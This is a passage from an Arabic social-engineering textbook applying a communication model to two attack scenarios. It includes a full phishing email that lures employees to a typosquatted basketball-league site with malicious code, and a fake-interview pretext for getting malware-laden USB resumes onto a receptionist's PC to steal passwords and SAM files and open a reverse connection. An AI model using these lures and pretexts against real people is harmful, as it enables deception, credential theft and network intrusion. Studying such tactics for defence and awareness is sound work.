‫اﻟﻣﺻدر )‪ :(Source‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ھو ﻣﺻدر اﻟﻣﻌﻠوﻣﺎت أو اﻻﺗﺻﺎﻻت اﻟﺗﻲ ﺳوف ﯾﺗم ﺗرﺣﯾﻠﮭﺎ‪.‬‬
‫اﻟﻘﻧﺎة )‪ :(Channel‬ھذه ھﻲ طرﯾﻘﺔ اﻟﺗﺳﻠﯾم‪.‬‬
‫اﻟرﺳﺎﻟﺔ )‪ :(Message‬رﺑﻣﺎ اﻟﺟزء اﻷﻛﺑر ﻣن اﻟرﺳﺎﻟﺔ ھو ﻣﻌرﻓﺔ ﻣﺎ ﺗرﯾد أن ﺗﻘوﻟﮫ اﻟﻰ اﻟﻣﺗﻠﻘﻲ‪.‬‬
‫اﻟﻣﺳﺗﻘﺑل )‪ :(Receiver‬ھذا ھو اﻟﮭدف‪.‬‬
‫ﻣﻼﺣظﺎﺗك )‪ :(The Feedback‬ﻣﺎذا ﺗرﯾد ﻣﻧﮭم ان ﯾﻔﻌﻠوا ﺑﻌد ﻣﻧﺣﮭم اﻟﺗواﺻل ﺑﺷﻛل ﻓﻌﺎل؟‬

‫ﻛﯾف ﯾﻣﻛﻧك اﺳﺗﺧدام ھذه اﻟﻌﻧﺎﺻر ﺑﺷﻛل ﻓﻌﺎل؟ اﻟﺧطوة اﻷوﻟﻰ ﻓﻲ ﻋﺎﻟم ﻧﻣوذج اﻻﺗﺻﺎﻻت ھو اﻟﺑدء ﻣﻊ اﻟﮭدف‪ .‬ﺣﺎول اﻟﻌﻣل ﻣﻊ اﺛﻧﯾن ﻣن‬
‫اﻟﺳﯾﻧﺎرﯾوھﺎت اﻟﺗﺎﻟﯾﺔ واﻟﺗﻲ ﺗﻛون ﺟزءا ﻣن ﻧﻣوذج اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪:‬‬
‫‪ -‬وﺿﻊ رﺳﺎﺋل اﻟﺗﺻﯾد اﻻﺣﺗﯾﺎﻟﻲ )‪ (phishing email‬واﻟﺗﻲ ﺗﺳﺗﮭدف ‪ 50-25‬ﻣن اﻟﻣوظﻔﯾن وذﻟك ﻣﺣﺎوﻟﺔ ﻟﺟﻌﻠﮭم أن ﯾﺗﺻﻔﺣوا ﻣواﻗﻊ‬
‫ﻋﻠﻰ ﺷﺑﻛﺔ اﻻﻧﺗرﻧت ﻏﯾر ﺗﺟﺎرﯾﮫ ﺧﻼل ﺳﺎﻋﺎت اﻟﻌﻣل واﻟﺗﻲ ﺗﺣﺗوي ﻋﻠﻰ اﻛواد ﺧﺑﯾﺛﺔ ﻻﺧﺗراق ﺷﺑﻛﺎﺗﮭم‪.‬‬
‫‪ -‬إﺟراء ﻣﻘﺎﺑﻠﺔ اﻟﻌﻣل واﻻﺣﺗﯾﺎل ﻋﻠﻰ اﻟﻣﻘﺎﺑل واﻗﻧﺎﻋﮫ ﺑﺎن ﻣﻠف اﻟﺳﯾرة اﻟذاﺗﯾﺔ ﺧﺎﺻﺗك اﻟﺗﻲ ﻛﺗﺑﺗﮭﺎ ﻗد ﺗﻠف‪ ،‬ﻓﻲ ﻣﺣﺎوﻟﮫ ﻹﻗﻧﺎع اﻟﻣﻘﺎﺑل‬
‫ﺑﺎﻟﺳﻣﺎح ﻟك ﻹدراج ‪ USB‬ﻓﻲ ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر ﻟطﺑﺎﻋﺔ ﻧﺳﺧﺔ ﻣن اﻟﺳﯾرة اﻟذاﺗﯾﺔ‪.‬‬
‫ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﻋﻧد وﺿﻊ اﺳﺗراﺗﯾﺟﯾﺔ اﻻﺗﺻﺎل ﻗد ﺗﺟد اﻟﻌﻣل ﻋﻠﻰ اﻟﻧﻣوذج ﺑﺗرﺗﯾب ﻋﻛﺳﻲ ﯾﻛون ﻣﻔﯾدة‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪804‬‬

‫ﻣﻼﺣظﺎﺗك )‪ :(Feedback‬ﻣﺎ ھو ردﻛم اﻟﻣرﺟوة؟ اﻻﺳﺗﺟﺎﺑﺔ اﻟﻣطﻠوﺑﺔ ھو أن ﯾﻛون ﻏﺎﻟﺑﯾﺔ اﻟﻣوظﻔﯾن اﻟﺗﻲ ﻗﻣت ﺑﺈرﺳﺎل ھذه اﻟرﺳﺎﻟﺔ إﻟﯾﮭم‬
‫ﯾﻘوﻣون ﺑﺎﻟﻧﻘر ﻋﻠﯾﮭﺎ‪ .‬ﺑطﺑﯾﻌﺔ اﻟﺣﺎل‪ ،‬ﻗد ﺗﻛون ﺳﻌﯾدا ﻣﻊ ﻣﺟرد ﺣﻔﻧﺔ أو ﺣﺗﻰ واﺣد‪ ،‬وﻟﻛن اﻟﮭدف‪ ،‬ھو أن ﯾﻛون ﻏﺎﻟﺑﯾﺔ اﻷھداف ﻗﺎﻣت ﺑﺎﻟﻧﻘر‬
‫ﻋﻠﻰ راﺑط رﺳﺎﺋل اﻟﺗﺻﯾد اﻻﺣﺗﯾﺎﻟﻲ‪.‬‬
‫اﻟﻣﺳﺗﻘﺑل )‪ :(receiver‬ھذا ھو اﻟﻣﻛﺎن اﻟذي ﯾﻛون ﻓﯾﮫ ﻣﮭﺎرات ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت ﻓﻲ ﻣﺗﻧﺎول اﻟﯾدﯾن‪ .‬ﻋﻠﯾك أن ﺗﻌرف ﻛل ﺷﻲء ﻋن اﻷھداف‪.‬‬
‫ھل ﺗﺣب اﻟرﯾﺎﺿﺔ؟ ھل ھم ﻓﻲ اﻟﻐﺎﻟب ﻣن اﻟذﻛور أو اﻹﻧﺎث؟ ھل ھم أﻋﺿﺎء ﻣن اﻷﻧدﯾﺔ اﻟﻣﺣﻠﯾﺔ؟ ﻣﺎذا ﯾﻔﻌﻠون ﻓﻲ وﻗت ﻓراﻏﮭم؟ ھل ﻟدﯾﮭم‬
‫ﻋﺎﺋﻼت؟ ھل ھم اﻷﻛﺑر ﺳﻧﺎ أو اﻷﺻﻐر ﺳﻧﺎ؟ اﻹﺟﺎﺑﺔ ﻋﻠﻰ ھذه اﻷﺳﺋﻠﺔ ﺳوف ﺗﺳﺎﻋد اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﯾﻘرر ﻣﺎ ھو ﻧوع اﻟرﺳﺎﻟﺔ اﻟﺗﻲ‬
‫ﺳوف ﯾﻘوم ﺑﺈرﺳﺎﻟﮭﺎ‪.‬‬
‫اﻟرﺳﺎﻟﺔ )‪ :(Message‬إذا ﻛﺎن اﻟﮭدف ھو ﻓﻲ اﻟﻐﺎﻟب ذﻛر ﻣن اﻟﻌﻣر ‪ 25‬ﻋﺎﻣﺎ ‪ 40‬ﻋﺎﻣﺎ‪ ،‬ﻣﻊ اھﺗﻣﺎم ﻗﻠﯾل ﺑﻛرة اﻟﻘدم أو ﻛرة اﻟﺳﻠﺔ‪ ،‬اﻷھداف‬
‫اﻟﺧﺎﺻﺔ ﺑك ﻗد ﺗﻧﻘر ﻋﻠﻰ وﺻﻠﺔ ﻋن اﻟرﯾﺎﺿﺔ‪ ،‬اﻟﻧﺳﺎء‪ ،‬أو ﺣدث رﯾﺎﺿﻲ‪ .‬ﺣﯾث وﺿﻊ ﻣﺣﺗوى اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ أﻣر ﺿروري‪ ،‬وﻟﻛن أﯾﺿﺎ‬
‫اﻟﻧﺣو واﻹﻣﻼء‪ ،‬وﻋﻼﻣﺎت اﻟﺗرﻗﯾم ﻣﮭﻣﺔ ﺟدا‪ .‬ﺣﯾث أن واﺣدا ﻣن أﻛﺑر اﻟﺗﺣذﯾرات ﻣن رﺳﺎﺋل اﻟﺗﺻﯾد اﻻﺣﺗﯾﺎﻟﻲ )‪ (phishing email‬ﻓﻲ‬
‫اﻟﻣﺎﺿﻲ ھو اﻟﺿﻌف اﻹﻣﻼﺋﻲ‪.‬‬
‫اﻟﻘﻧﺎة )‪ :(Channel‬اﻟﺟواب ﻋﻠﻰ ھذا اﻟﻌﻧﺻر أﻣر ﺳﮭل‪ ،‬ﻷﻧك ﺗﻌرف ﻣﺳﺑﻘﺎ أﻧﮭﺎ ﺳﺗﻛون رﺳﺎﻟﺔ ﺑرﯾد إﻟﻛﺗروﻧﻲ‪.‬‬
‫اﻟﻣﺻدر )‪ :(Source‬ﻣرة أﺧرى‪ ،‬ھذا اﻟﻌﻧﺻر ھو ﻋدم اﻟﺗﻔﻛﯾر‪ ،‬ﻷن‪ ،‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ھو اﻟﻣﺻدر‪ .‬ﺣﯾث ﯾﻌﺗﻣد ﻋﻠﻰ ﻣﺳﺗوى اﻟﻣﮭﺎرات‬
‫اﻟﺧﺎﺻﺔ ﺑك ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﺑﻌﺾ اﻟﺴﯿﻨﺎرﯾﻮھﺎت‪/‬اﻷﻣﺜﻠﺔ ﻋﻠﻰ ﻧﻤﺎذج اﻻﺗﺼﺎﻻت‬

‫اﻟﺳﯾﻧﺎرﯾو اﻷول‪ :‬ﺑﺎﺳﺗﺧدام رﺳﺎﺋل اﻟﺗﺻﯾد اﻻﺣﺗﯾﺎﻟﻲ )‪(phishing email‬‬

‫اﻟﮭدف ھم ‪ 45‬ﻣن اﻟذﻛور ﺗﺗراوح أﻋﻣﺎرھم ﺑﯾن ﺳن ‪ 24 .45-25‬ﺷﺧص ﻣن ھؤﻻء ‪ 45‬ﻣﮭﺗﻣﯾن ﺑدوري ﻛرة اﻟﺳﻠﺔ ‪ .45‬ﺣﯾث أﻧﮭم ﺟﻣﯾﻌﺎ‬
‫ﯾﺗﺻﻔﺣون اﻟﻣوﻗﻊ )‪ (www.myfantasybasketballleague.com‬ﻟﺗﺳﺟﯾل اﻟﻠﻘطﺎت اﻟﺧﺎﺻﺔ ﺑﮭم‪ .‬ﯾﺗم اﻟﺗﺣﻘﻖ ﻣن ذﻟك ﻣن ﺧﻼل‬
‫اﻟﻣﺷﺎرﻛﺎت ﻓﻲ اﻟﻣﻧﺗدﯾﺎت‪.‬‬
‫اﻟﮭدف ھو ﺣﻣﻠﮭم إﻟﻰ ﻣوﻗﻊ ﻣﺗﺎح وﺗﻣﻠﻛﮫ‪ ،‬ﻣﺛﻼ ‪ ،www.myfantasybasketballeague.com‬وھو ذات اﺧﺗﻼف إﻣﻼﺋﻲ طﻔﯾف ﻋن‬
‫اﻟﻌﻧوان اﻟذي ﯾﻌﺗﺎدون ﺗﺻﻔﺣﮫ‪ .‬ھذا اﻟﻣوﻗﻊ ھو ﻧﺳﺧﮫ ﻣن اﻟﻣوﻗﻊ اﻷﺻﻠﻲ اﻟذﯾن ﯾﻘوﻣون ﺑزﯾﺎرﺗﮫ ﻋﺎدة ﻣﻊ واﺣد ﻣن اﻟﺗﻐﯾﯾر وھو ﻟدﯾﮫ‬
‫‪ IFRAME‬اﻟﻣﺿﻣﻧﺔ‪ .‬وﺳوف ﯾﻛون ھﻧﺎك زر اﻟدﺧول ﻓﻲ وﺳط اﻟﺻﻔﺣﺔ واﻟﺗﻲ ﻋﻧد اﻟﻧﻘر ﻋﻠﯾﮫ‪ ،‬ﺳوف ﯾﻘوم ﺑﺎﻟﻌودة إﻟﻰ اﻟﻣوﻗﻊ اﻟﺣﻘﯾﻘﻲ‪.‬‬
‫اﻟﺗﺄﺧﯾر ﻓﻲ اﻟﺗﺣﻣﯾل واﻟﻧﻘر ﺳوف ﯾﻌطﻰ ﺑﻌض اﻟوﻗت اﻟذي ﺗﺣﺗﺎﺟﮫ ﻻﺧﺗراق أﻧظﻣﺗﮭم‪.‬‬
‫ﻛﯾف ﯾﻣﻛﻧك ﻛﺗﺎﺑﺔ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ؟ ﻓﯾﻣﺎ ﯾﻠﻲ ﻋﯾﻧﮫ ﻟﻣﺎ ﻛﺗﺑت‪:‬‬
‫‪Hello,‬‬
‫‪We have some exciting news at My Fantasy Basket Ball League. We have added some additional features‬‬
‫‪that will allow you more control over your picks as well as some special features. We are working hard on‬‬
‫‪offering this to all of our members but some additional service fees may apply.‬‬
‫‪We are excited to say that the first 100 people to log in will get this new service for free. Click this link to be‬‬
‫‪taken to the special page, click the gray LOGIN button on the page, and log in to have these features added‬‬
‫‪to your account. www.myfantasybasketballeague.com‬‬
‫‪Thanks,‬‬
‫‪The MFBB Team‬‬
‫ﻣرﺣﺑﺎ‪،‬‬
‫ﻟدﯾﻧﺎ ﺑﻌض اﻷﺧﺑﺎر اﻟﻣﺛﯾرة ﻓﻲ دوري ﻛرة اﻟﺳﻠﺔ‪ .‬واﺿﺎف ﻟدﯾﻧﺎ ﺑﻌض اﻟﻣﯾزات اﻹﺿﺎﻓﯾﺔ اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﺳﻣﺢ ﻟك ﺑﺎﻟﻣزﯾد ﻣن اﻟﺳﯾطرة‬
‫ﻋﻠﻰ اﻟﻠﻘطﺎت اﻟﺧﺎﺻﺔ ﺑك وﻛذﻟك ﺑﻌض اﻟﻣﯾزات اﻟﺧﺎﺻﺔ‪ .‬ﻧﺣن ﻧﻌﻣل ﺟﺎھدﯾن ﻋﻠﻰ ﺗﻘدﯾم ھذا ﻟﺟﻣﯾﻊ أﻋﺿﺎﺋﻧﺎ وﻟﻛن ﻗد ﺗﺗطﺑﻖ ﺑﻌض رﺳوم‬
‫اﻟﺧدﻣﺎت اﻹﺿﺎﻓﯾﺔ‪.‬‬
‫ﻧﺣن ﻣﺗﺣﻣﺳون ﻷﻗول إن أول ‪ 100‬ﺷﺧص ﺳوف ﯾدﺧﻠون ﺳوف ﯾﺣﺻﻠوا ﻋﻠﻰ ھذه اﻟﺧدﻣﺔ اﻟﺟدﯾدة ﻣﺟﺎﻧﺎ‪ .‬اﻧﻘر ﻓوق ھذا اﻟراﺑط ﻟﯾﺗم ﻧﻘﻠك إﻟﻰ‬
‫اﻟﺻﻔﺣﺔ اﻟﺧﺎﺻﺔ‪ ،‬اﻧﻘر ﻓوق اﻟزر ﺗﺳﺟﯾل اﻟدﺧول ﻋﻠﻰ اﻟﺻﻔﺣﺔ‪ ،‬واﻟدﺧول ﻟﮭذه اﻟﻣﯾزات اﻟﻣﺿﺎﻓﺔ ﻟﺣﺳﺎﺑك ‪.‬‬
‫‪www.myfantasybasketballeague.com‬‬
‫ﺷﻛرا‪،‬‬
‫ﻓرﯾﻖ‪MFBB‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪805‬‬

‫أن ھذا اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻣﻌظﻣﮫ ﻋﻠﻰ اﻻرﺟﺢ ﺳوف ﯾﻧظر ﻓﯾﮫ ﻣﺎ ﻻ ﯾﻘل ﻋن ال ‪ 24‬اﻟذﯾن ھم ﺑﺎﻟﻔﻌل ﻣﮭﺗﻣﯾن ﺑدوري ﻛرة اﻟﺳﻠﺔ ﺑﻣﺎ ﯾﻛﻔﻲ ﻟﻠﻧﻘر‬
‫ﻋﻠﻰ اﻟراﺑط واﻟﺗﺣﻘﻖ ﻣن اﻟﻣوﻗﻊ ﻣﺣﺎوﻟﺔ ﻟﺗﺟرﯾب ھذه اﻟﻣﯾزات اﻟﺟدﯾدة ﻣﺟﺎﻧﺎ‪.‬‬
‫ﺗﺣﻠﯾل ھذا اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ .‬اﻷول‪ ،‬ﻓﺈﻧﮫ ﯾﺣﺗوي ﻋﻠﻰ اﻟﻌرض اﻟذي ﻣن ﺷﺄﻧﮫ ﺟذب اﻷﻋﺿﺎء اﻟﺣﺎﺿرﯾن‪ .‬ﻛﺛﯾر ﻣﻧﮭم ﯾدرﻛون أن اﻟﻌرض‬
‫ﯾﻘﺗﺻر ﻓﻘط ﻋﻠﻰ أول ‪ ،100‬ﻟذﻟك ﻓﺈﻧﮭم ﺳوف ﯾﻧﻘرون ﻋﻠﻰ اﻟراﺑط ﺑﻣﺟرد اﻟﺣﺻول ﻋﻠﻰ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ ،‬واﻟذي ھم ﻣن اﻟﻣﺣﺗﻣل ان ﯾﻛوﻧوا‬
‫ﻓﻲ اﻟﻌﻣل‪ .‬اﻟﻣوﻗﻊ اﻟذي ﯾدﻓﻌﮭم اﻟﯾﮫ اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻟدﯾﮫ اﻛواد ﺧﺑﯾﺛﺔ وﻋﻠﻰ اﻟرﻏم ﻣن أن اﻷﻏﻠﺑﯾﺔ ﺳوف ﺗﻘﻊ ﺿﺣﯾﺔ‪ ،‬ﻓﺎن ﺟﻣﯾﻊ اﺣﺗﯾﺎﺟﺎت‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ھو ﺿﺣﯾﺔ واﺣدة‪.‬‬
‫ﻧﻼﺣظ أﯾﺿﺎ أن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﯾﺣﺗوي ﻋﻠﻰ ﻗواﻋد ﺟﯾدة واﻟﮭﺟﺎء‪ ،‬واﻟداﻓﻊ ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ ﻟﻠﻧﻘر ﺑﺳرﻋﺔ‪ .‬ﺑل ھو اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﺟﯾد ﻗﺎﺋم‬
‫ﻋﻠﻰ ﻧﻣوذج اﻻﺗﺻﺎل‪.‬‬

‫اﻟﺳﯾﻧﺎرﯾو اﻟﺛﺎﻧﻲ‪ :‬ﺑﺎﺳﺗﺧدام ‪USB‬‬

‫ھذا اﻟﺳﯾﻧﺎرﯾو ﻓﻲ اﻟواﻗﻊ ھو أﻛﺛر ﺻﻌوﺑﺔ ﻋﻧد اﻟﻘﯾﺎم ﺑﮫ ﻷﻧﮫ ﺷﺧﺻﻲ ﻣﻌﺗﻣد ﻋﻠﻰ اﻟﺗﻔﺎﻋل اﻟﻣﺑﺎﺷر‪ .‬ﻓﻘط ﻣﺎ ﺳوف ﺗﻔﻌﻠﮫ ھو ﺗزوﯾر ھوﯾﺗك‬
‫ﺷﺧﺻﯾﺎ‪ .‬ﻓﻲ ھذا اﻟﺳﯾﻧﺎرﯾو ﺗذﻛر أﻧﮫ ﯾﺟب ﺗذﻛر ﻛل اﻟﺗﻔﺎﺻﯾل ﻓﻲ اﻟذاﻛرة ﻷﻧﮫ ﻻ ﯾﻣﻛن اﺳﺗﺧداﻣﮫ ﻣرة أﺧرى ﻋﻠﻰ ﻧﻔس اﻟﺷﺧص‪ .‬ﻣن اﻟﻣﮭم‬
‫أﯾﺿﺎ أن ﻧﺗذﻛر أن ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻟدﯾﻧﺎ ﻓرﺻﺔ واﺣدة ﻓﻘط ﻟﺧﻠﻖ اﻻﻧطﺑﺎع‪ .‬إذا ﻗﻣﻧﺎ ﺑﻌﻣل ﺳﯾﺊ‪ ،‬ﻓﺈﻧﮫ ﯾﻣﻛن أن ﯾدﻣر اﻟﺳﯾﻧﺎرﯾو ﺑﺎﻟﻛﺎﻣل‪.‬‬
‫ﻣﻼﺣظﺎﺗك )‪ :(Feedback‬اﻟﮭدف ﻣﻊ ھذا اﻟﺳﯾﻧﺎرﯾو ھو اﻟﺣﺻول ﻋﻠﻰ ﻣﻛﺗب اﻻﺳﺗﻘﺑﺎل اﻷﻣﺎﻣﻲ ﻟﻘﺑول ﻣﺣرك ‪ USB‬اﻟﺧﺎص ﺑك واﻟذي‬
‫ﯾﺣﺗوي ﻋﻠﻰ ﺑرﻧﺎﻣﺞ ﺿﺎر‪ .‬ھذا اﻟﺑرﻧﺎﻣﺞ ﺳوف ﯾﻘوم ﺑﺗﺣﻣﯾل وﻛﺷط اﻟﻧظﺎم ﻟﺟﻣﻊ ﻣﺎ ﺑﮭﺎ ﻣن ﻣﻌﻠوﻣﺎت‪ ،‬ﻣﺛل أﺳﻣﺎء اﻟﻣﺳﺗﺧدﻣﯾن وﻛﻠﻣﺎت اﻟﺳر‬
‫وﺣﺳﺎﺑﺎت اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ ،‬وﻣﻠﻔﺎت ‪ SAM‬اﻟﺗﻲ ﺗﺣﺗوي ﻋﻠﻰ ﺟﻣﯾﻊ ﻛﻠﻣﺎت اﻟﺳر ﻋﻠﻰ اﻟﻧظﺎم‪ ،‬وأﻛﺛر ﻣن ذﻟك‪ ،‬ﻧﺳﺦ ﻛل ﺷﻲء إﻟﻰ ﻣﺟﻠد ﻋﻠﻰ‬
‫ﻣﺣرك اﻷﻗراص ‪.‬ﻛﻣﺎ أﻧﮭﺎ ﺗﺧﻠﻖ اﺗﺻﺎل اﻟﻌﻛﺳﻲ ﻣن اﻟﺟﮭﺎز اﻟﺧﺎص ﺑﻣﻛﺗب اﻻﺳﺗﻘﺑﺎل اﻟﻰ اﻟﺧوادم اﻟﺧﺎﺻﺔ ﺑك‪ ،‬ﻣﻣﺎ ﯾﺗﯾﺢ ﻟك اﻟوﺻول إﻟﻰ ھذه‬
‫اﻻﻟﺔ وﻧﺄﻣل اﻟﺷﺑﻛﺔ‪ .‬وذﻟك ﺑﺎﺳﺗﺧدام اﻹطﺎر ‪ Metasploit‬أو ‪.Social Engineering Toolkit‬‬
‫اﻟﻣﺳﺗﻘﺑل )‪ :(receiver‬وﺟود ھدف واﺣد ﺻﺣﯾﺢ ﯾﻣك ان ﺗﻛون ﺧﺎدﻋﺔ ﻷﻧﮫ إذا ﺣدث وﻛﺎن ھدﻓك ﻏﯾر ﻣﮭﯾﺄة ﻟﻔﻛرﺗك‪ ،‬ﻓﺎن اﻟﺧطﺔ اﻟﺧﺎص‬
‫ﺑك ﺳوف ﺗﻛون ﻛﺄﻧﮭﺎ رﺻﺎﺻﺔ واﺣدة‪ .‬ﯾﺟب أن ﺗﻛون وودﯾﺔ‪ ،‬وﻣﻘﻧﻌﺔ‪ .‬ﯾﺟب أن ﯾﺗم ذﻟك ﺑﺳرﻋﺔ‪ ،‬أﯾﺿﺎ‪ ،‬ﻷن ﻣﻊ اﻟﻛﺛﯾر ﻣن اﻟوﻗت ﺳﯾﺳﻣﺢ‬
‫ﺑوﺟود ﺑﻌض اﻟﺷﻛوك وﻟﻛن إذا ﻗﻣت ﺑﻧﻘل ﺳرﯾﻊ ﺟدا ﯾﻣﻛن أن ﯾﺳﺑب اﻟﺷك واﻟﺧوف‪ ،‬ﻣﻣﺎ أﺳﻔر ﻋن ﻣﻘﺗل ﻓرﺻك‪ .‬ﯾﺟب أن ﺗﺣﻘﻖ اﻟﺗوازن‪.‬‬
‫اﻟرﺳﺎﻟﺔ )‪ :(Message‬وﻷﻧك ﺳوف ﺗﻘوم ﺑﺈﯾﺻﺎل اﻟرﺳﺎﻟﺔ ﺷﺧﺻﯾﺎ‪/‬ﯾدوﯾﺎ‪ ،‬ﻟذﻟك ﯾﺟب أن ﺗﻛون واﺿﺣﺔ وﻣﺧﺗﺻرة‪ .‬اﻟﻘﺻﺔ اﻷﺳﺎﺳﯾﺔ ھﻲ‬
‫ﺷﺎھدت إﻋﻼن ﻓﻲ ورﻗﺔ ﺗطﻠب ﻣﺳؤول ﻗﺎﻋدة اﻟﺑﯾﺎﻧﺎت ﻓﻘﻣت ﺑﺎﻻﺗﺻﺎل واﻟﺗﺣدث اﻟﻰ ‪ .HR person‬ﻓﺄﺧﺑرك إﻧﮫ ﺣﺟز اﻟﯾوم وﻟﻛن ﯾﺟب أن‬
‫ﯾرﺳل اﻟﺳﯾرة اﻟذاﺗﯾﺔ أوﻻ ﻟﻠﻣراﺟﻌﺔ ﺛم اﻟﻣﻘﺎﺑﻠﺔ ﻓﻲ ﻧﮭﺎﯾﺔ اﻷﺳﺑوع‪ .‬ﻓﺈﻧك ﺳوف ﺗﺧﺑره ﺑﻘﺻﺔ ﻣﻘﻧﻌﮫ ﺗدل ﻋﻠﻰ ﻓﻘدان اﻟﺳﯾرة اﻟذاﺗﯾﺔ وﻟﯾﻛن ﻣﺛﻼ اﻧﮫ‬
‫اﺛﻧﺎء ﻗﯾﺎدﺗك‪ ،‬رﻛض ﻗط اﻣﺎﻣك‪ ،‬ﻣﻣﺎ ﺗﺳﺑب ﻓﻲ اﺳﺗﺧدام اﻟﻔراﻣل ﻋﻠﻰ ﻋﺟﻠﮫ ﻓﺗﺳﺑب ﻓﻲ ﺟﻌل اﻟﻣﺷروب اﻟﻐﺎزي ﯾﺧرج ﻣن اﻟﺣﺎﻣل وأدى اﻟﻰ اﻧﮫ‬
‫ﺗﺳرب ﻓﻲ ﺣﻘﯾﺑﺗك‪ ،‬وﺗدﻣﯾر اﻟﺳﯾر اﻟذاﺗﯾﺔ اﻟﺧﺎﺻﺔ ﺑك وﻏﯾرھﺎ ﻣن اﻻﺷﯾﺎء‪ .‬ﻓﺗﺗﺳﺎءل ﻋﻣﺎ إذا ﻛﺎﻧت ھﻧﺎك طﺎﺑﻌﮫ ﻟطﺑﻊ ﻧﺳﺧﺔ ﺟدﯾدة ﻣن اﻟﺳﯾرة‬
‫اﻟذاﺗﯾﺔ ﻣن ﻣﺣرك اﻷﻗراص ‪ USB‬اﻟﺧﺎص ﺑك‪.‬‬
‫اﻟﻘﻧﺎة )‪ :(Channel‬أﻧت ﺗﺳﯾر ﻓﻲ اﻟﺷﺧص اﻟذي ﯾﺳﺗﺧدم اﻟﻼﻓظ‪ ،‬اﻟوﺟﮫ‪ ،‬وﻟﻐﺔ اﻟﺟﺳد ﻟﻼﺗﺻﺎل‪.‬‬
‫اﻟﻣﺻدر )‪ :(Source‬ﻣرة أﺧرى‪ ،‬ھذا ھو أﻧت ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﯾﻣﻛن إﻋداد ﺑﻌض اﻟﻣﺟﻠدات ﻣﻊ ﺑﻌض اﻷوراق اﻟﻣﻠطﺧﺔ ﺑﺎﻟﻣﺷروب اﻟﻐﺎزي وذﻟك ﻟﻠﻣﺳﺎﻋدة ﻓﻲ ﺑﯾﻊ اﻟﻘﺻﺔ‪ .‬ﺗﺣدث ﺑﺄدب وﻋدم اﺳﺗﺧدام اﻟﻠﻐﺔ‬
‫اﻟﺑذﯾﺋﺔ ﯾﺳﺎﻋد اﻟﻣﻘﺎﺑل ﺑﺎن ﯾﺷﻌر ﺑﺎﻧك ﺗروق ﻟﮫ‪ ،‬ورﺑﻣﺎ ﺣﺗﻰ ﺑﻌض اﻟﺷﻔﻘﺔ‪ .‬ﯾﺟب أن ﯾﺣﺗوي ‪ USB‬ﻋﻠﻰ ﻣﻠف ﯾﺳﻣﻰ ‪ myresume.doc‬أو‬
‫‪ myresume.pdf‬وذﻟك ﻟﻠطﺑﺎﻋﺔ‪ .‬ﻣﻠﻔﺎت ‪ PDF‬ھو اﻟﺷﻛل اﻷﻛﺛر ﺷﯾوﻋﺎ ﺣﯾث أن ﻣﻌظم اﻟﺷرﻛﺎت ﺗﺳﺗﺧدم ﻧﺳﺧﺔ ﻗدﯾﻣﺔ ﻣن ﺑرﻧﺎﻣﺞ أدوﺑﻲ‬
‫رﯾدر اﻟﺗﻲ ھﻲ ﻋرﺿﺔ ﻟﻛﺛﯾر ﻣن اﻟﺛﻐرات اﻟﻣﺧﺗﻠﻔﺔ‪ .‬ﺗﺄﻛد ﻣن أن اﻟﺳﯾرة اﻟذاﺗﯾﺔ ھﻲ ﻓﻲ ﺷﻛل ﯾﺳﻣﺢ ﻟﻣﻌظم اﻟﻧﺎس ﺑﻔﺗﺣﮫ‪ ،‬وﻟﯾس ﻏرﯾﺑﺎ‪.‬‬

‫ﻗوة ﻧﻣوذج اﻻﺗﺻﺎﻻت )‪(The Power Of Communication Models‬‬

‫ﻧﻣوذج اﻻﺗﺻﺎل ھﻲ أداة ﻗوﯾﺔ وﯾﺟب أن ﯾﻛون ﻣن ﺑﯾن اﻟﻣﮭﺎرات ﻟدى ﻛل ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﻓﻲ ﻛل ﻣن اﻟﺳﯾﻧﺎرﯾوھﺎت اﻟﺳﺎﺑﻘﺔ‪ ،‬ﻋدم وﺟود‬
‫ﺧطﺔ ﺟﯾدة ﯾؤدى اﻟﻰ ﻓﺷل ﻧﻣوذج اﻻﺗﺻﺎل‪ .‬ھﻧﺎك طرﯾﻘﺔ ﺟﯾدة ﻟﻣﻣﺎرﺳﺔ ﻧﻣوذج اﻻﺗﺻﺎل ھو ﻛﺗﺎﺑﺔ ﻧﻣوذج ﻟﻣﻌﺎﻟﺟﺔ اﻷﺷﺧﺎص اﻟذﯾن ﺗﻌرﻓﮭم‬
‫ﺟﯾدا اﻟزوج‪ ،‬اﻟزوﺟﺔ‪ ،‬اﻷم‪ ،‬اﻟطﻔل‪ ،‬اﻟﻣدرب‪ ،‬أو ﺻدﯾﻖ ﻟﺗﻔﻌل ﻣﺎ ﺗرﯾد‪ ،‬ﻻﺗﺧﺎذ ﺑﻌض اﻹﺟراءات اﻟﺗﻲ ﺗرﯾدھﺎ‪.‬‬
